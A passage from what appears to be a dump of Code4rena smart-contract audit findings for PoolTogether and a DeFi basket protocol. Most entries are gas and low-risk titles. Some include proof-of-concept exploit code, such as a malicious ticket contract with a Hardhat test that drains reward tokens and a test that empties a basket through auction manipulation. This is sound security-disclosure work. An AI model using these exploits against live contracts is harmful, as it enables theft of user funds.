`_calculateRewardAmount()` and eventually `_promotion.token.safeTransfer()` (probably with `_rewardsAmount` equal to 0). ## Analysis In contrary to the following comment: ``` @dev Will revert if the promotion does not exist. ``` [_getPromotion()](https://github.com/pooltogether/v4-periphery/blob/ceadb25844f95f19f33cb856222e461ed8edf005/contracts/TwabRewards.sol#L260-L268) doesn't revert if the specified `_promotionId` doesn't exist, but return a `Promotion` structure with all fields set to 0. ## Tools Used Text editor. ## Recommended Mitigation Steps Fix suggestion: ``` function _getPromotion(uint256 _promotionId) internal view returns (Promotion memory _promotion) { _promotion = _promotions[_promotionId]; require(_promotion.creator != address(0), \"TwabRewards/invalid-promotion\"); return _promotion; } ``` "}, {"title": "Malicious tickets can lead to the loss of all tokens", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/1", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle johnnycash # Vulnerability details ## Impact It allows an attacker to retrieve all the tokens of each promotions. ## Analysis Anyone can create a new promotion using `createPromotion()`. An attacker can create a new malicious promotion with the following parameters: - the address of a malicious ticket smart contract - the token address from the targeted promotion(s) - optionally, `_numberOfEpochs` equal to 0 to create this promotion for free The only verification made on the ticket address given by [_requireTicket()](https://github.com/pooltogether/v4-periphery/blob/master/contracts/TwabRewards.sol#L230-L244) is that the smart contract must implement the `ITicket` interface. The attacker can then call `claimRewards()` with its wallet address, the malicious promotion id and a single _epochId for the sake of clarity. 1. `_calculateRewardAmount()` is first called to get the reward amount with the following formula `(_promotion.tokensPerEpoch * _ticket.getAverageBalanceBetween()) / _ticket.getAverageTotalSuppliesBetween()`. The malicious ticket can return an arbitrary `_averageBalance` and an `_averageTotalSupplies` of 1, leading to an arbitrary large reward amount. 2. `_promotion.token.safeTransfer(_user, _rewardsAmount)` is called. It transfers the amount of tokens previously computed to the attacker. The attacker receives the tokens of other promotions without having spent anything. ## Proof of Concept The malicious smart contract is a copy/paste of [TicketHarness.sol](https://github.com/pooltogether/v4-core/blob/master/contracts/test/TicketHarness.sol) and [Ticket.sol](https://github.com/pooltogether/v4-core/blob/master/contracts/Ticket.sol)with the following changes: ``` /// @inheritdoc ITicket function getAverageTotalSuppliesBetween( uint64[] calldata _startTimes, uint64[] calldata _endTimes ) external view override returns (uint256[] memory) { uint256[] memory _balances = new uint256[](1); _balances[0] = uint256(1); return _balances; } /// @inheritdoc ITicket function getAverageBalanceBetween( address _user, uint64 _startTime, uint64 _endTime ) external view override returns (uint256) { return 1337; } ``` The test for HardHat is: ``` describe('exploit()', async () => { it('this shouldnt happen', async () => { const promotionIdOne = 1; const promotionIdTwo = 2; await expect(createPromotion(ticket.address)) .to.emit(twabRewards, 'PromotionCreated') .withArgs(promotionIdOne); let evilTicketFactory = await getContractFactory('EvilTicket'); let evilTicket = await evilTicketFactory.deploy('EvilTicket', 'TICK', 18, wallet1.address); let createPromotionTimestamp = (await ethers.provider.getBlock('latest')).timestamp; await expect(twabRewards.connect(wallet2).createPromotion( evilTicket.address, rewardToken.address, tokensPerEpoch, createPromotionTimestamp, 1,//epochDuration, 0,//epochsNumber, )).to.emit(twabRewards, 'PromotionCreated') .withArgs(promotionIdTwo); await increaseTime(100); const epochIds = ['100']; await twabRewards.connect(wallet2).claimRewards(wallet2.address, promotionIdTwo, epochIds); }); }); ``` It results in the following error: ``` 1) TwabRewards exploit() this shouldnt happen: Error: VM Exception while processing transaction: reverted with reason string 'ERC20: transfer amount exceeds balance' at TwabRewardsHarness.verifyCallResult (@openzeppelin/contracts/utils/Address.sol:209) at TwabRewardsHarness.functionCallWithValue (@openzeppelin/contracts/utils/Address.sol:132) at TwabRewardsHarness.functionCall (@openzeppelin/contracts/utils/Address.sol:94) at TwabRewardsHarness._callOptionalReturn (@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol:92) at TwabRewardsHarness.safeTransfer (@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol:25) at TwabRewardsHarness.claimRewards (contracts/TwabRewards.sol:186) ``` ## Tools Used Text editor. ## Recommended Mitigation Steps Maybe add a whitelist of trusted tickets? "}, {"title": "Use of deprecated `safeApprove()` function", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/177", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "Use of deprecated `safeApprove()` function"}, {"title": "Reentrancy vulnerability in `Basket` contract's `initialize()` method.", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/176", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-defiprotocol-findings", "body": "# Handle broccolirob # Vulnerability details A malicious \"publisher\" can create a basket proposal that mixes real ERC20 tokens with a malicious ERC20 token containing a reentrancy callback in it's `approve()` method. When the `initialize()` method is called on the newly cloned `Basket` contract, a method called `approveUnderlying(address(auction))` is called, which would trigger the reentrancy, call `initialize()` again, passing in altered critical values such as `auction` and `factory`, and then removes its self from `proposal.tokens` and `proposal.weights` so it doesn't appear in the token list to basket users. https://github.com/code-423n4/2021-12-defiprotocol/blob/main/contracts/contracts/Basket.sol#L44-L61 ## Impact `Auction` and `Factory` can be set to custom implementations that do malicious things. Since all baskets and auctions are clones with their own addresses, this fact would be difficult for users to detect. `Auction` controls ibRatio, which a malicious version could send back a manipulated value to `Basket`, allowing the malicious \"publisher\" to burn basket tokens till all users underlying tokens are drained. ## Tools Used Manual review and Hardhat. ## Recommended Mitigation Steps Since `Basket` inherits from `ERC20Upgradeable` the `initializer` modifier should be available and therefore used here. It has an `inititializing` variable that would prevent this kind of reentrancy attack. "}, {"title": "Basket:handleFees(): fees are overcharged", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/170", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "Basket:handleFees(): fees are overcharged"}, {"title": "Auction:bondBurn(): cache bondAmount", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/167", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Auction:bondBurn(): cache bondAmount"}, {"title": "Auction:bondForRebalance() store calculation of bondAmount in local variable", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/166", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Auction:bondForRebalance() store calculation of bondAmount in local variable"}, {"title": "Check for tokenAmount > 0 is missing in pushUnderlying function [basket.sol]", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/165", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "Check for tokenAmount > 0 is missing in pushUnderlying function [basket.sol]"}, {"title": "Auction:settleAuction() cache address(basket)", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/164", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Auction:settleAuction() cache address(basket)"}, {"title": "Function changePublisher, changeLicenseFee, and setNewMaxSupply can be refactored for efficiency and clarity", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/162", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Function changePublisher, changeLicenseFee, and setNewMaxSupply can be refactored for efficiency and clarity"}, {"title": "Function handleFees #L148-L151 and updateIBRatio (Basket.sol) can be refactored for efficiency and clarity", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/161", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Function handleFees #L148-L151 and updateIBRatio (Basket.sol) can be refactored for efficiency and clarity"}, {"title": "Open TODOs", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/157", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Open TODOs"}, {"title": "Missing cap on LicenseFee", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/154", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "Missing cap on LicenseFee"}, {"title": "Fee calculation is slightly off", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/152", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "Fee calculation is slightly off"}, {"title": "Factory can block auctions", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/150", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "Factory can block auctions"}, {"title": "Division with `BASE` twice can be optimized ", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/147", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Division with `BASE` twice can be optimized "}, {"title": "`maxSupply` can be exceeded", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/146", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "`maxSupply` can be exceeded"}, {"title": "Change in `auctionMultiplier/auctionDecrement` change profitability of auctions and factory can steal all tokens from a basket abusing it", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/145", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-defiprotocol-findings", "body": "# Handle 0x0x0x # Vulnerability details When factory changes `auctionMultiplier` or `auctionDecrement` profitability of bonded auctions change. There is no protection against this behaviour. Furthermore, factory owners can decide to get all tokens from baskets where they are bonded for the auction. ## Proof of concept 1- Factory owners call `bondForRebalance` for an auction. 2- Factory owners sets `auctionMultiplier` as 0 and `auctionDecrement` as maximum value 3- `settleAuction` is called. `newRatio = 0`, since `a = b = 0`. All tokens can be withdrawn with this call, since `tokensNeeded = 0`. ## Extra notes Furthermore, even the factory owners does not try to scam users. In case `auctionMultiplier` or `auctionDecrement` is changed, all current `auctionBonder` from `Auctions` can only call `settleAuction` with different constraints. Because of different constraints, users/bonder will lose/gain funds. ## Mitigation step Save `auctionDecrement` and `auctionMultiplier` to global variables in `Auction.sol`, when `startAuction` is called. "}, {"title": "`Basket.sol#auctionBurn` calculates `ibRatio` wrong", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/144", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-defiprotocol-findings", "body": "# Handle 0x0x0x # Vulnerability details The function is implemented as follows: ``` function auctionBurn(uint256 amount) onlyAuction nonReentrant external override { uint256 startSupply = totalSupply(); handleFees(startSupply); _burn(msg.sender, amount); uint256 newIbRatio = ibRatio * startSupply / (startSupply - amount); ibRatio = newIbRatio; emit NewIBRatio(newIbRatio); emit Burned(msg.sender, amount); } ``` When `handleFees` is called, `totalSupply` and `ibRatio` changes accordingly, but for `newIbRatio` calculation tokens minted in `handleFees` is not included. Therefore, `ibRatio` is calculated higher than it should be. This is dangerous, since last withdrawing user(s) lose their funds with this operation. In case this miscalculation happens more than once, `newIbRatio` will increase the miscalculation even faster and can result in serious amount of funds missing. At each time `auctionBurn` is called, at least 1 day (auction duration) of fees result in this miscalculation. Furthermore, all critical logic of this contract is based on `ibRatio`, this behaviour can create serious miscalculations. ## Mitigation step Rather than `uint256 newIbRatio = ibRatio * startSupply / (startSupply - amount);` A practical solution to this problem is calculating `newIbRatio` as follows: ``` uint256 supply = totalSupply(); uint256 newIbRatio = ibRatio * (supply + amount) / supply; ``` "}, {"title": "`mintTo` has not an extra require statement", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/142", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "`mintTo` has not an extra require statement"}, {"title": "Loops can be implemented more efficiently", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/140", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Loops can be implemented more efficiently"}, {"title": "For uint `> 0` can be replaced with ` != 0` for gas optimization", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/139", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Impact `!= 0` is a cheaper operation compared to `> 0`, when dealing with `uint`. ## Occurrences ``` ./Timeswap-V1-Convenience/contracts/base/ERC721.sol:147: } else if (_return.length > 0) { ./Timeswap-V1-Convenience/contracts/libraries/Burn.sol:40: if (tokensOut.asset > 0) { ./Timeswap-V1-Convenience/contracts/libraries/Burn.sol:65: if (tokensOut.collateral > 0) { ./Timeswap-V1-Convenience/contracts/libraries/DateTime.sol:128: if (year >= 1970 && month > 0 && month <= 12) { ./Timeswap-V1-Convenience/contracts/libraries/DateTime.sol:130: if (day > 0 && day <= daysInMonth) { ./Timeswap-V1-Convenience/contracts/libraries/Mint.sol:296: require(pair.totalLiquidity(params.maturity) > 0, 'E507'); ./Timeswap-V1-Convenience/contracts/libraries/Mint.sol:455: require(pair.totalLiquidity(params.maturity) > 0, 'E507'); ./Timeswap-V1-Convenience/contracts/libraries/Mint.sol:614: require(pair.totalLiquidity(params.maturity) > 0, 'E507'); ./Timeswap-V1-Convenience/contracts/libraries/Pay.sol:86: if (collateralOut > 0) { ./Timeswap-V1-Convenience/contracts/libraries/PayMath.sol:27: if (due.debt > 0) { ./Timeswap-V1-Convenience/contracts/libraries/SquareRoot.sol:21: if (z % y > 0) z++; ./Timeswap-V1-Convenience/contracts/libraries/Withdraw.sol:40: if (tokensOut.asset > 0) { ./Timeswap-V1-Convenience/contracts/libraries/Withdraw.sol:58: if (tokensOut.collateral > 0) { ./Timeswap-V1-Convenience/contracts/libraries/Withdraw.sol:75: if (params.claimsIn.bond > 0) ./Timeswap-V1-Convenience/contracts/libraries/Withdraw.sol:77: if (params.claimsIn.insurance > 0) ./Timeswap-V1-Core/contracts/TimeswapPair.sol:153: require(xIncrease > 0 && yIncrease > 0 && zIncrease > 0, 'E205'); ./Timeswap-V1-Core/contracts/TimeswapPair.sol:170: require(liquidityOut > 0, 'E212'); ./Timeswap-V1-Core/contracts/TimeswapPair.sol:203: require(liquidityIn > 0, 'E205'); ./Timeswap-V1-Core/contracts/TimeswapPair.sol:217: if (tokensOut.asset > 0) asset.safeTransfer(assetTo, tokensOut.asset); ./Timeswap-V1-Core/contracts/TimeswapPair.sol:218: if (tokensOut.collateral > 0) collateral.safeTransfer(collateralTo, tokensOut.collateral); ./Timeswap-V1-Core/contracts/TimeswapPair.sol:236: require(xIncrease > 0, 'E205'); ./Timeswap-V1-Core/contracts/TimeswapPair.sol:239: require(pool.state.totalLiquidity > 0, 'E206'); ./Timeswap-V1-Core/contracts/TimeswapPair.sol:274: require(claimsIn.bond > 0 || claimsIn.insurance > 0, 'E205'); ./Timeswap-V1-Core/contracts/TimeswapPair.sol:292: if (tokensOut.asset > 0) asset.safeTransfer(assetTo, tokensOut.asset); ./Timeswap-V1-Core/contracts/TimeswapPair.sol:293: if (tokensOut.collateral > 0) collateral.safeTransfer(collateralTo, tokensOut.collateral); ./Timeswap-V1-Core/contracts/TimeswapPair.sol:311: require(xDecrease > 0, 'E205'); ./Timeswap-V1-Core/contracts/TimeswapPair.sol:314: require(pool.state.totalLiquidity > 0, 'E206'); ./Timeswap-V1-Core/contracts/TimeswapPair.sol:369: if (assetIn > 0) Callback.pay(asset, assetIn, data); ./Timeswap-V1-Core/contracts/TimeswapPair.sol:374: if (collateralOut > 0) collateral.safeTransfer(to, collateralOut); ./Timeswap-V1-Core/contracts/libraries/FullMath.sol:34: require(denominator > 0); ./Timeswap-V1-Core/contracts/libraries/FullMath.sol:124: if (mulmod(a, b, denominator) > 0) result++; ./Timeswap-V1-Core/contracts/libraries/Math.sol:7: if (x % y > 0) z++; ``` "}, {"title": "Use negate(!) rather than `== false`", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/138", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Use negate(!) rather than `== false`"}, {"title": "Extra payments for an auction gets stucks", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/137", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "Extra payments for an auction gets stucks"}, {"title": "TODO comments should be resolved ", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/135", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "TODO comments should be resolved "}, {"title": "`BasketLicenseProposed` better emit proposal id", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/134", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-12-defiprotocol-findings", "body": "# Handle gzeon # Vulnerability details ## Impact Since tokenName is user supplied and can be duplicated, it is better to emit proposal id instead. https://github.com/code-423n4/2021-12-defiprotocol/blob/205d3766044171e325df6a8bf2e79b37856eece1/contracts/contracts/Factory.sol#L91 ``` emit BasketLicenseProposed(msg.sender, tokenName); ``` "}, {"title": "Gas Optimization: Use calldata instead of memory", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/130", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Gas Optimization: Use calldata instead of memory"}, {"title": "Gas Optimization: Reorder storage layout", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/129", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Gas Optimization: Reorder storage layout"}, {"title": "`Auction.sol#initialize()` Use msg.sender rather than factory_ parameter can save gas", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "`Auction.sol#initialize()` Use msg.sender rather than factory_ parameter can save gas"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/123", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Cache external call results can save gas", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/122", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Cache external call results can save gas"}, {"title": "Unnecessary checked arithmetic in for loops", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Unnecessary checked arithmetic in for loops"}, {"title": "`++i` is more efficient than `i++`", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/120", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "`++i` is more efficient than `i++`"}, {"title": "`validateWeights()` Limit loop to a meaningful bound can save gas", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/118", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "`validateWeights()` Limit loop to a meaningful bound can save gas"}, {"title": "Use free functions to replace external calls can save gas", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/117", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Use free functions to replace external calls can save gas"}, {"title": "`NewIndexSubmitted` event is not emitted in some case", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/115", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "`NewIndexSubmitted` event is not emitted in some case"}, {"title": "Useless imports", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/113", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Useless imports"}, {"title": "Critical operations should emit events", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/112", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Critical operations should emit events"}, {"title": "`Factory.sol` Lack of two-step procedure and/or input validation routines for critical operations leaves them error-prone", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/111", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "`Factory.sol` Lack of two-step procedure and/or input validation routines for critical operations leaves them error-prone"}, {"title": "`Basket.sol#handleFees()` Check if `timeDiff > 0` can save gas", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/110", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "`Basket.sol#handleFees()` Check if `timeDiff > 0` can save gas"}, {"title": "`Auction.sol#auctionOngoing` Switching between 1, 2 instead of true, false is more gas efficient", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/107", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "`Auction.sol#auctionOngoing` Switching between 1, 2 instead of true, false is more gas efficient"}, {"title": "`Auction.sol#settleAuction()` Bonder may not be able to settle a bonded auction, leading to loss of funds", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/106", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-defiprotocol-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-defiprotocol/blob/205d3766044171e325df6a8bf2e79b37856eece1/contracts/contracts/Auction.sol#L97-L102 ```solidity=97 uint256 a = factory.auctionMultiplier() * basket.ibRatio(); uint256 b = (bondBlock - auctionStart) * BASE / factory.auctionDecrement(); uint256 newRatio = a - b; (address[] memory pendingTokens, uint256[] memory pendingWeights, uint256 minIbRatio) = basket.getPendingWeights(); require(newRatio >= minIbRatio); ``` In the current implementation, `newRatio` is calculated and compared with `minIbRatio` in `settleAuction()`. However, if `newRatio` is less than `minIbRatio`, `settleAuction()` will always fail and there is no way for the bonder to cancel and get a refund. ### PoC Given: - `bondPercentDiv` = 400 - `basketToken.totalSupply` = 40,000 - `factory.auctionMultiplier` = 2 - `factory.auctionDecrement` = 10,000 - `basket.ibRatio` = 1e18 - p`endingWeights.minIbRatio` = 1.9 * 1e18 1. Alice called `bondForRebalance()` `2,000` blocks after the auction started, paid `100` basketToken for the bond; 2. Alice tries to `settleAuction()`, it will always fail because `newRatio < minIbRatio`; - a = 2 * 1e18 - b = 0.2 * 1e18 - newRatio = 1.8 * 1e18; 3. Bob calls `bondBurn()` one day after, `100` basketToken from Alice will been burned. ### Recommendation Move the `minIbRatio` check to `bondForRebalance()`: ```solidity=58 function bondForRebalance() public override { require(auctionOngoing); require(!hasBonded); bondTimestamp = block.timestamp; bondBlock = block.number; uint256 a = factory.auctionMultiplier() * basket.ibRatio(); uint256 b = (bondBlock - auctionStart) * BASE / factory.auctionDecrement(); uint256 newRatio = a - b; (address[] memory pendingTokens, uint256[] memory pendingWeights, uint256 minIbRatio) = basket.getPendingWeights(); require(newRatio >= minIbRatio); IERC20 basketToken = IERC20(address(basket)); bondAmount = basketToken.totalSupply() / factory.bondPercentDiv(); basketToken.safeTransferFrom(msg.sender, address(this), bondAmount); hasBonded = true; auctionBonder = msg.sender; emit Bonded(msg.sender, bondAmount); } ``` "}, {"title": "`Basket.sol` should use the Upgradeable variant of OpenZeppelin Contracts", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/104", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "`Basket.sol` should use the Upgradeable variant of OpenZeppelin Contracts"}, {"title": "`Basket.sol` Pending licenseFee may unable to be canceled when current licenseFee is `0`", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/103", "labels": ["bug", "1 (Low Risk)"], "target": "2021-12-defiprotocol-findings", "body": "`Basket.sol` Pending licenseFee may unable to be canceled when current licenseFee is `0`"}, {"title": "`Basket.sol#approveUnderlying()` Cache and read storage variables from the stack can save gas", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "`Basket.sol#approveUnderlying()` Cache and read storage variables from the stack can save gas"}, {"title": "`Basket.sol#changeLicenseFee()` Unable to set `licenseFee` to 0", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/97", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "`Basket.sol#changeLicenseFee()` Unable to set `licenseFee` to 0"}, {"title": "Missing error messages in require statements", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/93", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Missing error messages in require statements"}, {"title": "`Basket.sol#initialize()` Remove redundant assertion can save gas", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/92", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "`Basket.sol#initialize()` Remove redundant assertion can save gas"}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/91", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Unused imports"}, {"title": "Outdated compiler version", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/90", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Outdated compiler version"}, {"title": "Broken unit tests due to incorrect values", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/88", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "Broken unit tests due to incorrect values"}, {"title": "Avoid Initialization of Loop Index If It Is 0 to Save Gas", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/84", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-defiprotocol-findings", "body": "Avoid Initialization of Loop Index If It Is 0 to Save Gas"}, {"title": "setAuctionDecrement() Lack of Input Validation May Break Other Function", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/83", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "setAuctionDecrement() Lack of Input Validation May Break Other Function"}, {"title": "setAuctionMultiplier() Lack of Input Validation May Break Other Function", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/82", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-defiprotocol-findings", "body": "setAuctionMultiplier() Lack of Input Validation May Break Other Function"}, {"title": "Possible division by zero in `settleAuction`", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/77", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Possible division by zero in `settleAuction`"}, {"title": "Unnecessary variable initialization and TODO in code", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/76", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-defiprotocol-findings", "body": "Unnecessary variable initialization and TODO in code"}, {"title": "Basket can be fully drained if the auction is settled within a specific block", "html_url": "https://github.com/code-423n4/2021-12-defiprotocol-findings/issues/74", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-defiprotocol-findings", "body": "# Handle Ruhum # Vulnerability details ## Impact The `settleAuction()` function allows someone to settle the auction by transferring funds in a way that the new pending index is fulfilled. As a reward, they are able to take out as many tokens as they want as long as the pending index is fulfilled after that. The function verifies that the basket has received everything it wanted using the following logic: ```sol for (uint256 i = 0; i < pendingWeights.length; i++) { uint256 tokensNeeded = basketAsERC20.totalSupply() * pendingWeights[i] * newRatio / BASE / BASE; require(IERC20(pendingTokens[i]).balanceOf(address(basket)) >= tokensNeeded); } ``` The attack vector here is to manipulate `tokensNeeded` to be 0. That way we can drain the basket completely without the function reverting. For that, we manipulate `newRatio` to be 0 then the whole thing will be 0. `newRatio` is defined as: ```sol uint256 a = factory.auctionMultiplier() * basket.ibRatio(); uint256 b = (bondBlock - auctionStart) * BASE / factory.auctionDecrement(); uint256 newRatio = a - b; ``` There's 1 value the attacker controls, `bondBlock`. That value is the block in which the `bondForRebalance()` function was triggered. So the goal is to get `newRatio` to be 0. With the base settings of the contract: - auctionMultiplier == 2 - ibRatio == 1e18 - BASE == 1e18 - auctionDecrement == 10000 `bondBlock` has to be `auctionStart + 20000`. Meaning, the `bondForRebalance()` function has to be triggered exactly 20000 blocks after the action was started. That would be around 3 1/2 days after auction start. At that point, `newRatio` is 0, and thus `tokensNeeded` is 0. The only thing left to do is to call `settleAuction()` and pass the basket's tokens and balance as the output tokens and weight. ## Proof of Concept Here's a test implementing the above scenario as a test. You can add it to `Auction.test.js`.: ```js it.only(\"should allow me to steal funds\", async() => { // start an auction let NEW_UNI_WEIGHT = \"2400000000000000000\"; let NEW_COMP_WEIGHT = \"2000000000000000000\"; let NEW_AAVE_WEIGHT = \"400000000000000000\"; await expect(basket.publishNewIndex([UNI.address, COMP.address, AAVE.address], [NEW_UNI_WEIGHT, NEW_COMP_WEIGHT, NEW_AAVE_WEIGHT], 1)).to.be.ok; await increaseTime(60 * 60 * 24) await increaseTime(60 * 60 * 24) await expect(basket.publishNewIndex([UNI.address, COMP.address, AAVE.address], [NEW_UNI_WEIGHT, NEW_COMP_WEIGHT, NEW_AAVE_WEIGHT], 1)).to.be.ok; let auctionAddr = await basket.auction(); let auction = AuctionImpl.attach(auctionAddr); ethers.provider.getBlockNumber(); // increase the block number for `bondBlock - auctionStart` to be 20000. // When that's the case, the result of `newRatio` in 